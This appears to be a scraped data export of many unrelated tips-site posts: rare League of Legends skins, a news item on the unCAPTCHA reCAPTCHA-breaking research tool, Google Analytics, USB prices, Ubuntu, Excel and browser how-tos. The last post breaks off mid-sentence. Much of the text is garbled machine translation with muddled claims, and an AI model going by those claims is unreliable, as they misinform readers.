Fiddlesticks is a creepy pumpkin version of the usual scarecrow character, Fiddlesticks. This skin was released in 2010 as a special spooky Halloween version for the beloved character. Its design is very simple but sometimes the simpler the skins, the more fans love them.\nLeague of Legends continues to launch Halloween seasons each year, but The Harrowing event in 2010 saw the launch of this fan-favorite skin. It's not the most expensive skin out there, but since it's only been available for one season, it's become a rarity.\nBlack Alistar   This Black Alistar skin is extremely rare as it can only be found in players who have played League of Legends before season 1, and is also part of a bundle for those who pay when the game is released. In the first release, skins are not automatically added to the account. In fact, it looks like these skins were granted through code.\nGray Warwick Back in the first season, there was a referral system to help popularize the gameplay of League of Legends. When players pass the 5th level will be promoted in the referral system. The rewards are many and difficult to obtain, one of which is Gray Warwick. This is one of those skins that only shows players who have been in the game for a long time.\nHuman Ryze   It's now called Young Ryze due to some lore changes made by Riot. This is one of the first skins ever created, a skin that is issued to those who pre-ordered League of Legends and is therefore not available on the game's store, which makes it a skin. extremely rare nowadays.\nJudgment Kayle The rarest skins are usually those from season 1 or earlier. Judgment Kayla is a skin created for those who played during season 1. This skin has been updated a few times and it's fair to say it looks completely different from the original prototype today.\nKing Rammus   This is a very rare skin that many players have never seen. King Rammus is a skin that only appeared before League of Legends was publicly announced. This skin is Riot's way of thanking the players who participated in the beta in 2009 when Rammus wasn't as underrated as it is today.\nBack then, not many people cared much about League of Legends. This isn't even a game that most MOBA players think is awesome and explosive. However, players who tried it were rewarded with an extremely rare skin for Rammus.\nPax Twisted Fate There are many factors that make Pax Twiste Fate a rare skin. It was only available in 2009 and was open to the first 20,000 people to attend the Penny Arcade Expo.\nThis skin is now nearly impossible to see in the game, making it one of League of Legends' rarest skins ever.\nSilver Kayle   Silver Kayle is an extremely rare skin in League of Legends that is part of the collectible edition. Silver Kayle is considered a bonus for those who pre-order the game.\nTriumphant Ryze Some skins in League of Legends may only be obtained for a short time and never appear again. And there are ones that have been brought back by Riot but are still extremely hard to find. Such was the case with Triumphant Ryze. To get it, players will have to win a tournament sponsored by Riot in 2010.\nAlthough there have been many tournaments that offer this skin, and some even reward players, it is still quite difficult to find a Triumphant Ryze in Summoner's Rift.\nUFO Corki   This is one of the early player bonus skins, for gamers with League of Legends accounts created before January 14th.\nUFO Corki is quite an interesting and different skin when compared to the first skins of League of Legends. Unlike most skins back then, which were usually pallet swaps, UFO Corki had a different 3D model. It is one of the very few skins that will have significant changes to the character compared to skins that only change the texture.\nVictorious Jarvan IV   At launch, Jarvan IV was a completely different character, although he was still considered a strong and often underrated support. He's a strong champion, so maybe that's why Riot chose him as the first champion to own the Victorious skin.\nVictorious Jarvan IV was given to players ranked gold and above in League of Legends in 2011. If you see someone owning Victorious Jarvan IV, it means they are an experienced gamer.\nLeague of Legends ncG1vNJzZmismaXArq3KnmWcp51kwbC8jKuYq52jqXq0t8inqmahnmK5pq3Grpxmp5ZiuaazxKebrA%3D%3D\n","link":"/post/top-rarest-skins-in-league-of-legends/","section":"post","tags":null,"title":"TOP rarest skins in League of Legends"},{"body":"unCAPTCHA is the name of a new automation system designed by a group of four computer science experts from the University of Maryland, capable of breaking Google's reCAPTCHA challenge with 85% accuracy.\nThis system is not intended to challenge reCAPTCHA. In images that are Google audio for people with disabilities.\nunCAPTCHA works by downloading audio clips, including 6 systems to convert TTS voice to text, synthesize results and give the most feasible answers to Google.\n  unCAPTCHA can answer audio CAPTCHA challenge with high accuracy\nThe test showed that unCAPTCHA can pass 450 reCAPTCHA with 85.15% accuracy in 5.42 seconds, faster than the time people need to hear a reCAPTCHA sound clip.\nunCAPTCHA is available on GitHub The code for unCAPTCHA has been uploaded to GItHub.https://github.com/ecthros/uncaptcha This code uses 6 TTS systems including Bing Speech Recognition, IBM, Google Cloud, Google Speech Recognition, Sphinx and Wit-AI.\nThis is not the first system to have this function. ReBreakCaptcha released in March is quite similar to unCAPTCHA. The difference is that Maryland researchers have warned Google to improve their reCAPTCHA system.\n'reCAPTCHA also has some additional protection to limit the success of unCAPTCHA', the group said. 'For example, Google has improved automatic detection, making Selenium unable to get CAPCHA in its current state. This makes Google send cluttered audio clips to users. Some audio segments are not only numbers but also text snippets'.\nThe bot also broke the reCAPTCHA Last week, researchers created AI bots that work similar to human eyes, can provide high-quality CAPTCHA system responses, with Google reCAPTCHA, image challenges for BotDetect, Yahoo and Paypal. respectively 66.6%, 64.4%, 57.4% and 57.1%.\nncG1vNJzZmismaXArq3KnmWcp51kwq%2BvwKmrnKCRYq%2BzscCkqmZsZWV6s7HCmqetm5iWeqq6jKWcrKtdqbWiuoxvZKydk6S7pb8%3D\n","link":"/post/uncaptcha-breaks-450-recaptcha-in-less-than-6-seconds/","section":"post","tags":null,"title":"unCAPTCHA breaks 450 reCAPTCHA in less than 6 seconds"},{"body":"In the previous article, we had a handful of tips about traffic statistics, page stay time, page drop time, visitor location and more. In this article we will continue to delve into other tricks too!\n20 tips and tricks for mastering Google Analytics data (Part 1) 11. Social media streams\nThe previous article mentioned tips about traffic from social networks and found out which pages were most noticed. By looking at the traffic of Network Referrals, it's easy to know where this traffic comes from.\nYou can find this information at: Traffic Sources\u0026gt; Social\u0026gt; Network Referrals .\nIn addition, traffic data through social networks has its own flowchart page, where you can view the initial referral sites and their directions when visiting your site: Traffic Sources\u0026gt; Social\u0026gt; Visitors Flow. Social media links are just as important as natural search engine traffic.\n  Research the networks that your site is doing best and try to keep people sharing and discussing those links.\n12. Transformation of goals\nNot all websites need to use these metrics but it is an important concept to learn. When there is content that motivates visitors to participate in a specific action, you need to study its success rate, then improve or change landing pages to have a greater impact.\nLearn more about setting goals by visiting: Conversions\u0026gt; Goals\u0026gt; Overview.\nLearning how to convert is a big step in website marketing. The goal may not be to sell anything, merely to register a new forum or social networking webapp. Goals become useful when you have a plan that attracts visitors to follow.\n13. Determine the dropout rate\nPeople are often interested in the most visited pages. But what about pages that reduce traffic? When there is a page with a dropout rate of up to 90%, you need to learn to know some of the reasons why visitors no longer care about that site.\nFind data on pages with a high dropout rate: Content\u0026gt; Site Content\u0026gt; Exit Pages .\n  14. Read AdSense metrics\nAnalytics will help you determine which users are converting and handling clickthrough rates on the page. This data can help you determine which pages are good for advertising in website layouts.\nThis is where AdSense: Content\u0026gt; AdSense\u0026gt; Overview checks .\nThe AdSense dashboard table can provide this statistic but it is not perfect. Analytics software is designed to test traffic and provide more quality information. If you have never used AdSense, you should not create an account just for this feature. However, if you are an advertiser, you should use it.\n  15. Analyzing content in the page\nGoogle will take your entire home page layout and display tools with click-through rates from users. This is a visual image that can provide more value than the graph.\nFind it at: Content\u0026gt; In-Page Analytics\nYou may be surprised at the number of data statistics in this image. Analytics will provide tracking times on the page preview mode to the overall ranking.\n  This feature helps you have a better view of traffic. Also check the options in the top right corner to apply the background color and determine the average browser window size.\n16. Customize site search\nDid you know Google Analytics allows the deployment of traffic data for your own custom site search. WordPress is one of the most popular CMS tools available with a search feature. Note that the search function is required to connect to Google Analytics.\nYou can check it at: Content\u0026gt; Site Search\u0026gt; Overview.\nInternet marketers often think that Google will meet users' needs for content search. But if you are providing this feature then you can track the most popular keywords on your site and how many visitors are looking for useful results.\n17. Frequency of access\nThe type of content published on your site will greatly affect the number of people returning to use it. If nothing interacts with the user, most visitors will only pay attention to the content they are interested in. But if you want to look at individual trend column charts, not daily traffic statistics, you can visit: Audience\u0026gt; Behavior\u0026gt; Frequency \u0026amp; Recency.\nIf you want to compare visits and pageviews to see if visitors often return to the page, you may notice a decrease in the number of views to the middle and increase when the number of visits increases. The visitor trend is not something you can directly manipulate in addition to marketing to a more targeted audience. Keep people with real interest in your site and these numbers will increase.\n  18. Search visitors on mobile phones\nTraffic on mobile phones can account for large numbers of web sites. Today more and more people access the Internet on smartphones and tablets.\nFind out who is viewing your website on your mobile phone at: Audience\u0026gt; Mobile\u0026gt; Devices.\nThe mobile part of Google Analytics will determine which device users are using to access the site. This also includes average page views and time on site and other metrics.\n  One of the most favorite features is the device's image. When Analytics recognizes the device operating system, it will include a set of photos that you can view by clicking on the camera icon located in the same row. This will help if you are not familiar with the device type or web browser type.\nAlso, if the site is designed with a compatible display or retina screen, you may notice a higher number of visitors returning from the same mobile device.\n19. Specific page index\nContent pages are one of the most important parts of the information you can learn. This feature will list the most viewed sites from top to bottom, including visitor time per page and dropout rate.\nLearn about a specific page at: Content\u0026gt; Site Content\u0026gt; All Pages.\nSometimes you won't notice that a post or page is getting a lot of attention until you see the numbers listed. And by checking 6 months or more, you will easily see the repeating trend that can be used when writing new content in the future.\nYou should provide readers with the information they care about while also using the 'hot' headlines to attract attention in Google's search results. Keep the most popular pages on the top and you'll quickly find out what content is being noticed on your site.\n  20. Analytics in real time\nYou can track visitors in real time with Google Analytics ( Real-Time \u0026gt; Overview ). This website provides a closer look at visitor interaction research on the website. At any point of the day, you can see who is viewing the website and what pages they are viewing.\nYou will also find graphs for referral traffic or keywords from Google. And if you scroll to the bottom of the page, you'll see a world map that determines the location of each user. The data itself cannot help you combine long-term results, but it certainly provides an overview of the daily life of the site.\n  This is not a complete list of Google Analytics mastering tips, but it does provide important concepts. Taking the time to learn more about data and planning a strategy to solve user interface problems requires great concentration and effort.\nLearning how to adapt your website to a growing market is very important to rank higher in Google search. Analytics can be the best free tool to study changes in this market and plan accordingly with the site content.\nncG1vNJzZmismaXArq3KnmWcp51kf3F506KnrGWRo7FuwNGimqSrXZu8s3nMmqqtnaKeu6h5xqimoKSVYq6vrcuyq6Kbo2KxosDAZqeaqqRifw%3D%3D\n","link":"/post/20-tips-and-tricks-for-mastering-google-analytics-data-part-2/","section":"post","tags":null,"title":"20 tips and tricks for mastering Google Analytics data (Part 2)"},{"body":"Unlike other electronic devices, USB is a specific type of device by the diversity from type, design to manufacturer. The USB market is always very popular with a variety of models, designs and prices. So how much does USB cost ? To make it easier to answer the questions about the price of the USB user, today we will offer the most common price for the popular USB series including USB 16GB, USB 32GB, USB 64GB, USB 128GB for you to easily. picture it!\nQuick view content Factors affecting the price of USB Quotation types of USB 16GB, 32GB, 64GB, 128GB How much does 16GB USB cost? How much does a 32GB USB cost? How much does 64GB USB cost? How much does a 128GB USB cost?  Factors affecting the price of USB The price of 16GB USB drives is very diverse, depending on the brand, connection standard (2.0 or 3.0), read / write speed and its features . Let's take a look!\n1. Brand USB Naturally, the price of USB is largely based on the brand that makes the USB device. Even if the USB device has the same capacity, the same port, the same lifetime, the price will not be the same if manufactured by two different brands. However, the difference between them is not too much.\n  Currently, there are many famous USB manufacturers in the market such as USB Sandisk, Transcend, Kingston Adata, . Among them, there are two outstanding USB manufacturers with diverse models and high durability. Sandisk and Kingston. These are also two popular brands that consumers choose the most and always have competitive prices.\n2. Storage capacity Like other storage devices such as memory cards and external hard drives, storage capacity is an important factor to help you choose a suitable USB. Not only that, it also has a significant impact on that USB price. In general, it can be said that prices and storage are always proportional to each other. The larger the capacity of USB drives, the higher the price of the product.\n3. Connection port In the past, most USBs were connected to devices via USB 2.0. However, recently, the new USB line with 3.0 connection port was born and is very popular. Accordingly, the 3.0 connection standard has a transmission rate many times higher than the standard 2.0, moreover USB 3.0 types are fully backward compatible with devices using standard 2.0. For that reason, USB 3.0 ports often cost more than standard 2.0 connectors.\n4. Security mode Of course, a USB with added security features will cost more than a USB without that feature. This is sometimes unnecessary, but for those who often have to work and contact important documents, confidential documents, this is indispensable, both to deal with dropped cases or steal.\n  5. Read / write speed and connectivity of USB Each USB product line will have read / write speed, connectivity . not the same. Accordingly, USBs with fast read / write speed will have a higher value than those with lower read / write speeds. In addition, some types of USB now also integrate different connectors that can allow to connect with computer devices and also with phones, smartphones, ipad . and the prices of these are also relatively. high.\n6. Real USB - fake When compared, from materials to transfer rates, a fake USB is always significantly inferior to a genuine USB. It is worth mentioning that, most of the fake USB usually have virtual storage compared to the actual capacity that it owns. That also explains why the prices of these two types are significantly different. If you accept the use of a cheap, mediocre USB, sold out, you only need to spend a few tens of thousands, while just a little more effort to learn, you can choose to buy good ones, genuine with a higher price is not worth it. So, with items like USB, you should not be cheap, choose products of reputable brands, reliable addresses to buy offline.\nReferences: Important notes when choosing to buy USB\nQuotation types of USB 16GB, 32G B , 64GB, 128GB How much does 16GB USB cost?   The 16Gb USB Series lets you store all your important data, with the thousands of photos, songs, movies, and other data files you need to take with you anytime you can use it, for the purpose of work, study and entertainment. Currently this USB line is usually quite cheap. With just under 100 to several hundred thousand, you can own yourself with cheap and quality USB drives.\nHere are some models for the 16GB USB product line that you can refer to:\nUSB 16GB 2.0 SanDisk Cruzer Force CZ71 (SDCZ71-016G-B35) - Reference price: VND 99,000 USB 16GB 3.0 Sandisk Ultra Flair CZ73 (SDCZ73-016G-G46) - Reference price: 139,000 VND 16GB USB 3.0 Kingston DataTraveler 100 G3 - Reference price: 73,000 VND How much does a 32 GB USB drive cost ? Compared with the price of the 16GB USB line, the price of the 32GB USB will be higher but not significant, usually ranging from a few tens of thousands to a few hundred thousand. 32GB USB can provide enough space for large photo and video libraries to optimize the backup process from the phone to the computer. In addition, with this capacity, you can also use it for running mobile applications with a capacity not higher than 32GB or increasing the RAM memory for the computer .\n  Here are some specific examples for the price of 32GB USB for your reference:\nSanDisk Cruzer Force CZ71 32GB USB 2.0 (SDCZ71-032G-B35) - Reference price: 180,000 VND. USB 3.0 Sandisk Ultra Flair CZ73 (SDCZ73-032G-G46) - Reference price: 199,000 VND 32GB USB 3.0 Kingston DTSE9G2 - Reference price: 180,000 VND. How much does 64GB USB cost ? With a capacity of 64 GB, you can use USB to store hundreds of thousands of photos, favorite music, even videos, graphics with high resolution without having to worry about lack of space. Genuine 64GB USB prices usually range from 300,000 to over 1 million. Clearly higher is usually the USB line integrated 2 ports connecting computers and with phones, iPhones, iPads . priced from 1.2 to 1.3 million.\n  Here are some models with corresponding prices that you can refer to:\nKingston 3.0 USB 3.0 DT100G3 - Reference price: VND 294,000 USB 3.0 Sandisk Ultra Flair 64GB (SDCZ73-064G-G46) - Reference price: VND 299,000 SanDisk iXpand Flash Drive 64GB USB 2.0 (SDIX30N-064G-PN6NN) - Reference price: 1,190,000 VND. How much does a 128GB USB cost ? Needless to say, you probably know that a 128GB USB drive with a 'gigantic' storage capacity can give you just how much storage space. You won't have to worry about running out of memory for work, entertainment or study, instead you can download music, photos, videos, fun games or applications. Desired software on your device.\n  And of course, the price of 128GB USB will not be cheap, usually will range from 400 to over 2 million. You can imagine the price of this product through some examples below:\nSanDisk Ultra Flair CZ73 128GB USB (SDCZ73-128G-G46) - Reference Price: USB 128GB 3.0 Kingston USB DT100G3 - DT100G3 - Reference price: 390,000 VND USB OTG Sandisk Ixpand 128GB - SDIX128 - Reference price: VND 1,600,000 Whether the price of USB is expensive or cheap, in terms of its benefits, it is well worth the investment, right? Hopefully, through the suggestions above, it may help you choose a USB that is suitable and suitable for your work and needs.\nSee more: Should you buy a USB as a customer gift?\nIf you have any questions about the price of genuine, quality USB, you can visit the website META.vn or immediately contact the hotline below for free advice:\nIn Hanoi: No. 56 Duy Tan, Dich Vong Hau Ward, Cau Giay - Tel: 024.35.68.69.69 In Ho Chi Minh City: 716-718 Dien Bien Phu, Ward 10, District 10 - Tel: 028.38.33.33.66 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKasnKBdnsBuwdKbZGpul5d6dH7Gm2RvbJeXenJ%2Bl6CZ\n","link":"/post/how-much-is-usb-16gb-32gb-64gb-128gb/","section":"post","tags":null,"title":"How much is USB 16GB, 32GB, 64GB, 128GB?"},{"body":" If you ever wished to change your computer name, here is how to do it. Many people think that this is possible only if you do reinstall the operating system, but this is not true. There are few commands to make job done. Just follow the...\nMethod 1of 7:\nOpen the Run dialog And Gnome Text Editor  Open the Run dialog by pressing on Alt+F2 buttons on your keyboard.\n  When Run dialog is opened, you need to type following command or to use copy/paste method: gksu gedit /etc/hostname\n Method 2of 7:\nEnter Password  After you hit Enter or click on the 'Run' button, you'll be asked for a password, so type password and hit Enter.\n Method 3of 7:\nUse Gnome Text Editor  A new window will open, which is Gedit. In some cases it will say 'PC', but in your case, you may see some different name, so in that window replace the text with your desired name.\n  Don't forget to save your file before closing the file. You can do that if you click on 'Save' icon or just hit Ctr+S buttons. After that, close Gedit.\n Method 4of 7:\nOpen the Run dialog  Open the Run dialog again by pressing on Alt+F2 buttons on your keyboard.\n  When Run dialog is opened, type in the following command or to use copy/paste method: gksu gedit /etc/hosts\n Method 5of 7:\nEnter Password  After you hit Enter or click on 'Run' button, it will ask you for the password. Type password and hit Enter.\n Method 6of 7:\nUse Gnome Text Editor  Now for the second time, Gedit is opened. In may say 'PC' again (last line of the first block), so in that window, replace the text with the same desired name that you choose last time.\n  Don't forget to save your file before closing it. You can do that if you click on 'Save' icon, or just hit Ctr+S buttons. After that, close Gedit.\n Method 7of 7:\nUse Terminal  The last step is to restart your system. When you're back on desktop again, open a Terminal (To open Terminal, press Ctrl+Alt+T on your keyboard or go to Applications \u0026gt; Accessories \u0026gt; Terminal, which is located in main menu ) window and you should see that your computer name has changed.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyypq6qXZi8rrzUrZyrZZ6WuqZ5yKdkrpqlo8G2\n","link":"/post/how-to-change-your-computer-name-in-ubuntu/","section":"post","tags":null,"title":"How to Change Your Computer Name in Ubuntu"},{"body":"To convert audio formats, we can use online services like Online Audio Converter. The service supports downloading audio files on various sources, audio formats even for iPhone.\nIn particular, Online Audio Converter also allows users to download audio files on online storage services, such as Google Drive, Dropbox, or by video URL link. This will facilitate the user when there is no need to download sound to the computer, then proceed to edit. Using Online Audio Converter is also simple and we do not need to register an account to use. The following article will guide you how to use Online Audio Converter to convert audio formats.\nCut music online with the Online Audio Cutter tool How to combine audio and mp3 music into a single post Step 1:\nYou can access the link below to go to the Online Audio Converter homepage.\nhttp://online-audio-converter.com/en/ Step 2:\nAt this site, click Open file to download the audio file available on the computer. The service supports editing multiple audio files at the same time and after conversion is completed, the audio files will be downloaded in zip file format.\n  In addition, we can click on the hosting service to download audio files including Google Drive, Dropbox or via the video URL link. Log in personal account services account information to download audio files.\n  Step 3:\nUsers waiting for the downloading of audio files to Online Audio Converter are completed.\n  Step 4:\nNext, the user will proceed to convert the format for the audio file. Here you can choose audio formats including wav, iPhone, m4a, flac, ogg ringtones or click the add button to expand the format selection.\nThe Quality bar below will be added for you to edit the audio file.\n  Step 5:\nIn addition, when clicking on the Advanced settings, we will have a number of options for audio such as Bit rate, sound adjustment, etc.\n  When clicking Edit music information can edit basic information including Title, Artist, Album, Year, Genre or download source.\n  Step 6:\nAfter you have finished selecting the format for the audio you want to transfer, as well as some other options click the Convert button below.\n  Step 7:\nUsers wait for the audio format conversion process on Online Audio Converter. Then click the Download button or upload directly to Google Drive or Dropbox services.\n  So you have finished converting the audio file format on Online Audio Converter. The conversion process is fast, the service interface is very simple and easy to implement. Combining with online storage services on Online Audio Converter will be more convenient when using audio files directly, without the need to download the computer.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmK6cmaR6p7vRppitq12strW0jKilpaGemnqiwcOipmabn6PDpr7Tnqk%3D\n","link":"/post/how-to-convert-audio-formats-with-online-audio-converter/","section":"post","tags":null,"title":"How to convert audio formats with Online Audio Converter"},{"body":" AutoCAD is a versatile online design and drafting software that can be used to create three dimensional models for industrial, architectural, and engineering purposes. Used in a vast range of technical professions and compatible with both...\nPart 1of 2:\nLaunching the Program  Open the AutoCAD program by clicking on the application icon.\n  Launch a New Project. Click on the 'New' tab in the left panel, select a desired template, and click 'Open.' A new drafting space will appear.\n  Select a visual style. Visual styles control the display of edges, lighting, and shading. Select the default '2D Wireframe' setting on the top left of the drafting space to prompt the drop-down menu. These visual styles can be explored and adjusted throughout the drafting process as desired. Conceptual is used in this example.   Choose desired units of measurement. Type the word 'units' anywhere on the screen (no text box or search bar) and select the units icon that appears as depicted. Adjust the units of measurement and set additional parameters if needed. Inches are used in this example.   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKyslaV6scXRmqSinF2eu26t1K2mnJmU\n","link":"/post/how-to-create-a-step-pyramid-in-autocad/","section":"post","tags":null,"title":"How to Create a Step Pyramid in AutoCAD"},{"body":"For some reason you want to delete Facebook messages, you can do this by deleting your Facebook account, all the data associated with that account will disappear. If you just want to completely delete Facebook messages from someone, so that the messages are no longer stored in Facebook, then you can follow the instructions to delete Facebook messages that TipsMake.com introduces below.\nHOW TO REMOVE THE FACEBOOK MESSAGE PERFECTLY\nStep 1: Open the Facebook message interface, select the message to delete. Click the gear icon Action.\n  Step 2: Appear the options panel. We will find and click on Delete conversation . After performing this operation, the conversation will be completely removed from Facebook.\n  Step 3: If you want to choose to delete certain messages in the conversation, click Delete message and check the message box you want to delete .\n  With this method you will have very little ability to recover deleted Facebook messages, so consider carefully. In addition, this way to delete all Facebook messages will help you wipe Facebook messages with one click. You can also use Facebook - Delete Message on Chrome to delete Facebook messages.\nExplore more:\nHow to backup and restore Zalo messages on Android phones How to write color letters on Facebook to create special effects How to post color status on Facebook computer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyfmJydkqS8rHnMnqqsmZeawG6vzqanpZ2kmrm6\n","link":"/post/how-to-delete-facebook-messages-completely/","section":"post","tags":null,"title":"How to delete Facebook messages completely"},{"body":" It's natural to want to hang your lamp without making any holes so you keep your walls in great condition. Whether your walls are made out of a rough surface like brick or a smooth one like painted drywall, there are items you can purchase...\nAttaching a Lamp to Brick Walls  Purchase a brick clip to attach to your wall. If you're hoping to hang your lamp on a brick wall where the grout is recessed, choose a brick clip that can hold the weight of your lamp at the store. Look for these brick clips, which are vertical metal pieces that clamp onto the top and bottom of the brick easily, at your local home improvement or big box store. These clips have two hooks on them for hanging things.[7] The maximum weight that the clip can hold will be labeled on its packaging. Recessed grout means the brick pokes out a little more than the grout.   Remove any dust or dirt from the wall, if desired. If your brick wall is a little dirty, use a vacuum or duster to clean the area where the lamp will hang. Pay special attention to the sides of the brick and the grout areas because this is where the brick clip will clamp on. Cleaning the wall beforehand will help the clip attach to the brick more easily.[8]\n  Position the brick clip on the wall where you'd like to hang your lamp. Place your brick clip on the brick vertically so the top clamp goes on first, hugging the top of the brick. Slide the bottom of the clamp onto the bottom of the brick you've chosen and push it against the brick so it's tightly secured. Give a little tug to make sure the clip isn't going anywhere, and your brick clip is attached![9] The brick clip hugs the brick vertically with one clamp at the top and one at the bottom.   Hang the lamp on the clip's hook carefully. Most brick clips have two hooks on them for you to choose from when you hang your item. Hang the lamp's cord on one or both of the hooks, wrapping the cord around the hook to make it extra secure. It's best to do this with the section of cord closest to the lamp so the lamp is higher up and won't move around.[10] How you choose to hang your lamp on the brick clip's hooks will depend on the shape and size of your specific lamp.   Marvin Fry Update 02 June 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRo7RurYylmKaoXay2tbTOrqtmnKKeua21zaA%3D\n","link":"/post/how-to-hang-a-lamp-without-drilling/","section":"post","tags":null,"title":"How to Hang a Lamp Without Drilling"},{"body":"Sharing 3G / 4G networks into Wi-Fi waves for surrounding devices that have become so familiar to smartphone users, here are some other tips to help you share Wi-Fi for other devices that cannot catch Wi-Fi waves via Bluetooth. With just a few simple steps you can share Wi-Fi for any device that can pair Bluetooth with your phone like another Android phone or laptop.\nPlay WiFi on super simple computers with MyPubicWiFi 8 best Wifi analysis and hacking software The best free Wi-Fi find apps for Android Instructions for sharing Wi-Fi via Bluetooth on Android The following instructions will take Android phones to play Wi-Fi via Bluetooth for laptop use. When the phone has caught the Wi-Fi wave, follow the steps below:\nStep 1:\nFrom your phone's home screen, go to Settings\u0026gt; Connectivity\u0026gt; More networks .\n  Step 2:\nNext, select the internet USB item \u0026amp; Wifi or Bluetooth access point .\n  Step 3:\nHere, click to select Share Internet connection via Bluetooth .\n  Step 4:\nNow you will see the first item is the name of your device, check the box on the right to allow all the surrounding devices to see and connect to your device.\n  Step 5:\nTo complete the above step, open the Bluetooth computer and select the Add a Device option in the upper left corner to add a new device. If you don't know if your computer has Bluetooth support, you can refer to the article How to check if your computer has Bluetooth? to know how to do the details.\n  Step 6:\nWait a while for the laptop to recognize your mobile device, once you find the Android device name, right-click it and select Connect Using\u0026gt; Access point .\n  Step 7:\nThe laptop will now automatically send a connection request to the phone, click OK with the verification code that the two devices are connected via Bluetooth. And you can use the Internet on your laptop via Bluetooth connection with your phone.\nHope you are succesful.\nSee more:\nInstructions for using Bluetooth on devices 9 best free wifi playback software and download link Some software helps computers, laptops to play free Wifi ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmedainaJlpp6ubq7Lrpytp5%2BptW67zWaYp5yipLal\n","link":"/post/how-to-share-wi-fi-via-bluetooth-on-android/","section":"post","tags":null,"title":"How to share Wi-Fi via Bluetooth on Android"},{"body":"Sometimes you need to split a column when using Excel to statistic data. The problem is that splitting the column with a blank data column is quite simple, you just need to insert the column. But if you want to split the column already available data, need to follow the following instructions of TipsMake.com.\nTo be able to split a column in Excel, you need to explicitly identify that data column. Note that Excel will not know which column to split to get data, so you need to give it a splitting sign like a special symbol that is different from other words.\nAs in the example below,\u0026nbsp;i will use dashes to separate the text behind the code to the next column.\n  First, highlight the column that you want to split.\nNext you open the Data ribbon on the toolbar, next you click on Text to Columns of the Data Tools section of this ribbon.\nThe Convert Text to Columns Wizard function window appears.\nYou can choose from two types of column splitting:\n- Split the column according to the data contained in the column: Delimited (the selection should follow our example in this article).\n- Split columns by column width : Fixed width .\nClick Next to continue.\n  Next, you choose one of three options for Excel to base on the column data:\n- Tab : Separate columns based on tab marks.\n- Semicolon : Separate columns based on semicolons.\n- Comma : Separate columns based on commas.\n- Space : Divide columns based on spaces or spaces.\n- Other : Divide columns based on the content of the next blank characters.\nClick Next to continue.\n  In this step, you will see how the column will split in the Data preview .\nYou click Finish to complete the separation.\n  The result you get is that the data column has been split into two columns as the original goal.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugoba1ecKoo66lnqh6qrqMnq%2BcnZw%3D\n","link":"/post/how-to-split-columns-in-excel/","section":"post","tags":null,"title":"How to split columns in Excel"},{"body":"Flight mode is a setting that allows users to turn off all wireless connections on the computer quickly. As the name implies, it is especially useful when you are on an airplane. Wireless connection including Wifi, mobile phones (mobile broadband service), Bluetooth, GPS or GNSS, NFC technology (near field communication) and all other types of wireless communication .\nThis article will show you how to quickly enable or disable Airplane mode for all wireless communication on Windows 10 computers.\nNote:\nEven if there is a switch button on and off airplane mode on the computer, users should not use it but instead follow the methods below. Some switches can turn off the wireless connection and allow some applications to re-connect without notifying the user.\nAfter touching or clicking the on / off button to turn on or turn off the airplane mode, the computer will take several seconds to turn on or turn off each wireless device. If the flight mode is turned on or off too fast or if the flight mode is turned on and the computer is in Sleep mode before the computer can turn on or turn off the wireless device, wireless device settings may not set with install mode airplane settings.\nWhen airplane mode is turned on, you will see an airplane icon in the notification area of ​​the computer. When you turn on airplane mode, you will still be able to turn Bluetooth on or off and other wireless devices. If you have done the following ways without turning off the airplane mode, please refer to this article: How to fix the error does not turn off the airplane mode on Windows 10\nHow to turn on, turn off airplane mode on Windows 10 Method 1: Turn off or turn on airplane mode from Action Center Method 2: Turn off or turn on airplane mode from the network icon Method 3: Turn off or turn on airplane mode from settings Method 1: Turn off or turn on airplane mode from Action Center Step 1: Open Action Center by pressing Windows Key + A.\nStep 2: Click or tap the Airplane mode quick action button to turn off or turn on airplane mode.\n  Method 2: Turn off or turn on airplane mode from the network icon Step 1: Click or tap the network icon in the notification area of ​​the Taskbar.\nStep 2: Click or tap the Airplane mode button to turn off or turn on airplane mode.\n  Method 3: Turn off or turn on airplane mode from settings Step 1: Open Settings and click or tap the Network \u0026amp; Internet icon .\nStep 2: Click or tap Airplane mode on the left, and turn on or turn off airplane mode on the right.\nStep 3: When finished, close the Settings window.\n  I wish you all success!\nSee more:\nDelete Airplane mode icon / Flight Mode on Taskbar bar Windows 10 How to turn on, turn off airplane mode on iPhone? Why does the phone have to be in flight mode when taking off and landing? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mq66qnmK8p7KMmqCrqJyWu6Z5zKibnmWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-turn-on-turn-off-airplane-mode-on-windows-10/","section":"post","tags":null,"title":"How to turn on, turn off airplane mode on Windows 10"},{"body":"To download Youtube videos or other websites, there are now many applications and services that support downloading videos and audio files for free, including the Skyload utility.\nSkyload is a utility installed on Google Chrome or Opera browser to download audio files or vieo right on the browser. Current popular video websites such as Youtube, Facebook, Deezer, SoundCloud, Yandex.Music, OK.RU, Vimeo, Coub, Dailymotion, Instagram, Vine, VK, . Skyload can all catch the quick download link. In particular, the utility will play video or audio files right in the browser interface so you can check and proceed with the download if you want. Each download link will include the file type, format, size, resolution, . of the file. From there, users can know about a certain video or audio file.\nThe following article of Network Administrator will guide you how to use the Skyload utility to download videos in Chrome browser.\nDownload videos on Chrome Step 1:\nWe click on the link below to download and install the Skyload utility for the browser. This article will apply to Chrome browser, other browsers you do similarly.\nInstall Skyload on Google Chrome\nhttps://chrome.google.com/webstore/detail/skyload-download-of-music/fnmpfimijcopbiaiobinamadmnmhckmp Install Skyload on Opera\nhttps://addons.opera.com/en/extensions/details/skyload/ Step 2:\nWe proceed to install Skyload on the browser. In the first interface, click Add to Chrome .\n  Step 3:\nNext click on the Add add button to install the Skyload utility on Chrome browser.\n  When the installation process is completed, the utility icon will appear at the end of the address bar, followed by the message shown below.\n  Step 4:\nNow try accessing any website that wants to download videos, such as downloading videos on Vimeo. In the video playback interface, we click on the Skyload utility icon in the browser.\nIn this list you will see the number of video files that the program catches the download link, along with a separate download link for each video. As shown 